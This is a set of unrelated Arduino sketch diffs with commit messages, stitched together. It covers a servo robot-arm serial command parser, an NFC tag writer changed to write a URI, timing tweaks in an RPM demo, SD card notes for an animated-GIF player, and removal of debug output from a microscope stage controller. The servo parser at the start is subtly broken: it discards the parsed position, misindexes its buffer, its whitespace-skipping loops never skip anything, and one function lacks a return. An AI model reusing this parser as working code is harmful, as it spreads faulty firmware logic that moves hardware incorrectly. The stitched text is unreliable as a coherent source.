+	moveServoL(defaultServoPos, servoSpeed, false, false);
+	moveServoR(defaultServoPos, servoSpeed, false, false);
+	moveServoRot(defaultServoPos, servoSpeed, false, false);
+	moveServoHRot(defaultServoPos, servoSpeed, false, false);
+	moveServoH(defaultServoPos, servoSpeed, true, true);
+}
+
+/*
+** accepted serial commands
+** FXXX
+**	X >= 0 & X <= 255; sets servo speed
+** GX WY ZAAA [ZAAA] [ZAAA] [ZAAA] [ZAAA] [...]
+**	X == 0 || X == 1; use speed control? (false) rapid or (true) speed control move, boolean
+**	Y == 0 || Y == 1; wait? (false) no or (true) yes, boolean
+**	Z == L || Z == R || Z == O || Z == T || Z == H; left, right, rot, hrot and hand respectively
+**	AAA >= 0 && AAA <= 180; absolute location in degrees
+** MXXX
+**	XXX = 100; reset
+**	XXX = 101; print free memory
+**	XXX = 112; emergency stop
+*/
+
+bool parseCommandGServo(char **buf, boolean speedControl, boolean wait) {
+	char *endptr;
+	uint8_t pos, i, len;
+	int servoSpeedLocal = servoSpeed;
+
+	if (!speedControl)
+		servoSpeedLocal = 0;
+
+	if (*buf[0] == '\0')
+		return false;
+	switch(*buf[0]) {
+		case 'L': case 'l':
+			pos = strtoul(buf[1], &endptr, 10);
+			if (buf[1] != endptr) {
+				len = strlen(*buf);
+				for (i = 0; i < len; ++i) {
+					if (*buf[i] != ' ' && *buf[i] != '\t' && *buf[i] != '\0')
+						break;
+				}
+				if (i == len) {
+					moveServoL(defaultServoPos, servoSpeedLocal, wait, true);
+				} else {
+					moveServoL(defaultServoPos, servoSpeedLocal, false, false);
+				}
+			} else {
+				Serial.println(F("ERROR: invalid servoL position"));
+			}
+			return true;
+		case 'R': case 'r':
+			pos = strtoul(buf[1], &endptr, 10);
+			if (buf[1] != endptr) {
+				len = strlen(*buf);
+				for (i = 0; i < len; ++i) {
+					if (*buf[i] != ' ' && *buf[i] != '\t' && *buf[i] != '\0')
+						break;
+				}
+				if (i == len) {
+					moveServoR(defaultServoPos, servoSpeedLocal, wait, true);
+				} else {
+					moveServoR(defaultServoPos, servoSpeedLocal, false, false);
+				}
+			} else {
+				Serial.println(F("ERROR: invalid servoR position"));
+			}
+			return true;
+		case 'O': case 'o':
+			pos = strtoul(buf[1], &endptr, 10);
+			if (buf[1] != endptr) {
+				len = strlen(*buf);
+				for (i = 0; i < len; ++i) {
+					if (*buf[i] != ' ' && *buf[i] != '\t' && *buf[i] != '\0')
+						break;
+				}
+				if (i == len) {
+					moveServoRot(defaultServoPos, servoSpeedLocal, wait, true);
+				} else {
+					moveServoRot(defaultServoPos, servoSpeedLocal, false, false);
+				}
+			} else {
+				Serial.println(F("ERROR: invalid servoRot position"));
+			}
+			return true;
+		case 'T': case 't':
+			pos = strtoul(buf[1], &endptr, 10);
+			if (buf[1] != endptr) {
+				len = strlen(*buf);
+				for (i = 0; i < len; ++i) {
+					if (*buf[i] != ' ' && *buf[i] != '\t' && *buf[i] != '\0')
+						break;
+				}
+				if (i == len) {
+					moveServoHRot(defaultServoPos, servoSpeedLocal, wait, true);
+				} else {
+					moveServoHRot(defaultServoPos, servoSpeedLocal, false, false);
+				}
+			} else {
+				Serial.println(F("ERROR: invalid servoHRot position"));
+			}
+			return true;
+		case 'H': case 'h':
+			pos = strtoul(buf[1], &endptr, 10);
+			if (buf[1] != endptr) {
+				len = strlen(*buf);
+				for (i = 0; i < len; ++i) {
+					if (*buf[i] != ' ' && *buf[i] != '\t' && *buf[i] != '\0')
+						break;
+				}
+				if (i == len) {
+					moveServoH(defaultServoPos, servoSpeedLocal, wait, true);
+				} else {
+					moveServoH(defaultServoPos, servoSpeedLocal, false, false);
+				}
+			} else {
+				Serial.println(F("ERROR: invalid servoH position"));
+			}
+			return true;
+		default:
+			Serial.println(F("ERROR: invalid servo identifier"));
+			return false;
+	};
+	return false;
+}
+
+bool processCommand(char *cmd) {
+	char *endptr, *buf = cmd;
+	uint8_t len = strlen(buf);
+	uint8_t code;
+	bool speedControl = true;
+	bool wait;
+
+	if (len == 0) return false;
+
+	switch (buf[0]) {
+		case 'G': case 'g':
+			code = strtoul(&buf[1], &endptr, 10);
+			if (endptr == &buf[1]) {
+				Serial.println(F("ERROR: missing G command code"));
+				return false;
+			}
+			if (code == 0) {
+				// rapid move
+				speedControl = false;
+			} else if (code == 1) {
+				// speed control move
+				speedControl = true;
+			} else {
+				Serial.println(F("ERROR: invalid G command code"));
+				return false;
+			}
+			// absorb spaces
+			for (; *endptr == ' ' && *endptr == '\t'; ++endptr);
+			// check for wait flag
+			wait = true;
+			if (*endptr == 'W' || *endptr == 'w') {
+				buf = ++endptr;
+				code = strtoul(buf, &endptr, 10);
+				if (buf != endptr) {
+					if (code == 0) {
+						wait = false;
+					} else if (code == 1) {
+						wait = true;
+					} else {
+						Serial.println(F("ERROR: invalid G command wait flag (bad number)"));
+						return false;
+					}
+				} else {
+					Serial.println(F("ERROR: invalid G command wait flag (no number)"));
+					return false;
+				}
+			}
+			do {
+				// absorb spaces
+				for (; *endptr == ' ' && *endptr == '\t'; ++endptr);
+			} while (parseCommandGServo(&endptr, speedControl, wait));
+			break;
+		case 'F': case 'f':
+			code = strtoul(&buf[1], &endptr, 10);
+			if (endptr == &buf[1]) {
+				Serial.println(F("ERROR: missing F speed parameter"));
+				return false;
+			}
+			if (code >= 0 && code <= 255) {
+				servoSpeed = code;
+				return true;
+			} else {
+				Serial.println(F("ERROR: invalid F speed parameter"));
+				return false;
+			}
+			break;
+		case 'M': case 'm':
+			code = strtoul(&buf[1], &endptr, 10);
+			if (endptr == &buf[1]) {
+				Serial.println(F("ERROR: missing M address parameter"));
+				return false;
+			}
+			switch (code) {
+				case 100:
+					Serial.println(F("OK"));
+					softwareReset();
+					break;
+				case 101:
+					Serial.println(freeRam(), DEC);
+					break;
+				case 112:
+					detachServos();
+					Serial.println(F("OK"));
+					break;
+				default:
+					Serial.println(F("ERROR: invalid M address parameter"));
+					return false;
+			};
+			break;
+		default:
+			Serial.println(F("ERROR: invalid command"));
+			return false;
+	};
+}
+
+const uint8_t MAX_CMD_LEN = 32;
+
+void loop() {
+	char buf[MAX_CMD_LEN + 1], c;
+	bool suspendStore = false;
+	uint8_t i = 0;
+
+	// read to newline
+	// ignore any line that has over 32 characters
+	if (Serial.available() > 0) {
+		c = Serial.read();
+		if (c == '\n' || c == '\r') {
+			if (suspendStore == false) {
+				buf[i] = '\0';
+				processCommand(buf);
+			} else {
+				suspendStore = false;
+			}
+			i = 0;
+		} else {
+			if (i < MAX_CMD_LEN) {
+				buf[i] = c;
+				++i;
+			} else {
+				Serial.println(F("ERROR: command line too long"));
+				suspendStore = true;
+			}
+		}
+	}
+}


write uri record since it is easier to read on any phone. indented file so diff looks bigger

--- examples/WriteTag/WriteTag.ino
+++ examples/WriteTag/WriteTag.ino
@@ -5,18 +5,18 @@
 NfcAdapter nfc = NfcAdapter();

 void setup() {
-  Serial.begin(115200);
-  Serial.println("NDEF Writer");
-  nfc.begin();
+      Serial.begin(115200);
+      Serial.println("NDEF Writer");
+      nfc.begin();
 }

 void loop() {
-  Serial.println("\nPlace a formatted Mifare Classic NFC tag on the reader.");
-  if (nfc.tagPresent()) {
-    NdefMessage message = NdefMessage();
-    message.addTextRecord("Hello, Arduino!");
-    nfc.write(message);
-    Serial.println("Try reading this tag with your phone.");
-  }
-  delay(5000);
+    Serial.println("\nPlace a formatted Mifare Classic NFC tag on the reader.");
+    if (nfc.tagPresent()) {
+        NdefMessage message = NdefMessage();
+        message.addUriRecord("http://arduino.cc");
+        nfc.write(message);
+        Serial.println("Try reading this tag with your phone.");
+    }
+    delay(5000);
 }


Relaxed example update intervals.

Relaxed example update intervals.

--- examples/DemoArcRPM/DemoArcRPM.ino
+++ examples/DemoArcRPM/DemoArcRPM.ino
@@ -21,10 +21,11 @@
 #define ANIMATION_DURATION 12000
 #define ANIMATION_UPDATE_INTERVAL 5
 #define DEMO_RPM_UPDATE_INTERVAL  5
-#define DEMO_LED_UPDATE_INTERVAL 1
+#define DEMO_LED_UPDATE_INTERVAL 100
 #define DEMO_RPM_LOG_UPDATE_INTERVAL 400
+
 #define BRIGHTNESS_UPDATE_INTERVAL 30
-#define SERIAL_POLL_INTERVAL 5
+#define SERIAL_POLL_INTERVAL 20

 #define POWER_AVERAGE_SAMPLES 10


Better support for Teensy 3.6: Add note on SD card CS pin and include required <SD.h>

--- AnimatedGIFs.ino
+++ AnimatedGIFs.ino
@@ -61,6 +61,7 @@
  *  - Note for 128x32 and 64x64 displays with Teensy 3.2 - need to reduce RAM:
  *    set kRefreshDepth=24 and kDmaBufferRows=2 or set USB Type: "None" in Arduino,
  *    decrease refreshRate in setup() to 90 or lower to get good an accurate GIF frame rate
+ *  - Set the chip select pin for your board.  On Teensy 3.5/3.6, the onboard microSD CS pin is "BUILTIN_SDCARD"
  */

 #if defined (ARDUINO)
@@ -71,6 +72,7 @@
 #include "SmartMatrix3_Photon_Apa102/SmartMatrix3_Photon_Apa102.h"
 #endif

+#include <SD.h>
 #include "GifDecoder.h"
 #include "FilenameFunctions.h"

@@ -111,6 +113,7 @@

 // Chip select for SD card on the SmartMatrix Shield or Photon
 #if defined (ARDUINO)
+//#define SD_CS BUILTIN_SDCARD
 #define SD_CS 15
 #elif defined (SPARK)
 #define SD_CS SS


remove serial port reporting from setup()

--- OpenStage.ino
+++ OpenStage.ino
@@ -432,7 +432,8 @@

   // Connect to the PC's serial port via the Arduino programming USB connection.
   // This used mainly for printing de-bugging information to the PC's serial terminal
-  // during testing.
+  // during testing. [In future we will add the option for controlling the stage through
+  // the USB port]
   Serial.begin(115200);

@@ -492,10 +493,7 @@
      //Pre-calculate the speeds for different hat-stick values. This moves these
      //calculations out of the main loop, and allows for smoother closed-loop hat-stick motions.
      for (ii=0; ii<128; ii++){
-       for (jj=0; jj<4; jj++){
-          if (jj==0 && ii==0){
-            Serial.println("Calculating speed matrix for hat sticks");
-          }
+       for (jj=0; jj<4; jj++){
           //SPEEDMAT[ii][jj]=(ii/127.5)*maxSpeed[jj]; //Plain linear
           SPEEDMAT[ii][jj]=fscale(hatStickThresh, 127.5, 0.04, maxSpeed[jj], ii, curve[jj]); //non-linear mapping
        }
@@ -517,34 +515,14 @@

   //the variable thisStep can take on one of four values for each axis
   //Calculate all of these here
-  Serial.println("\nStep Sizes (microns)");
-  Serial.println("Axis   Mode 1  Mode 2  Mode 3  Mode 4");
   for (ii=0; ii<numAxes; ii++){
-    Serial.print(" ");
-    Serial.print(ii+1);
-    Serial.print("      ");
     for (jj=0; jj<4; jj++){
       if (axisPresent[ii]){
            thisStep[ii][jj] = (fullStep[ii]/360) * stepSize[jj] * gearRatio[ii];
-           Serial.print(thisStep[ii][jj]);
-           Serial.print("    ");
       } //if axisPresent
     } // jj for loop
-    Serial.println(" ");
   } //ii for loop

-
-  //Report moveTo RPM to attain max speed for each axis, min step, and whatever else seems like a good idea.
-  Serial.println("\nmoveTo() speeds");
-  for (ii=0; ii<numAxes; ii++){
-    Serial.print(ii+1);
-    Serial.print(" RPM: ");
-    Serial.print(int(60 * (moveToSpeed[ii]/(gearRatio[ii]*1.0))));
-    Serial.print("; min step: ");
-    Serial.print(fullStep[ii]/360.0*gearRatio[ii]*moveToStepSize);
-    Serial.print("; pulse rate: ");
-    Serial.println(moveToSpeed[ii] / ((fullStep[ii]/360) * moveToStepSize * gearRatio[ii]));
-  } //for loop

   if (doGamePad){
     // Poll the USB interface a few times. Failing to do this causes the motors to move during
@@ -593,8 +571,6 @@
   if (doSerialInterface){
      Serial1.begin(115200);
   } //if doSerialInterface
-
-  Serial.println("\nSetup function completed");
 }//End of setup function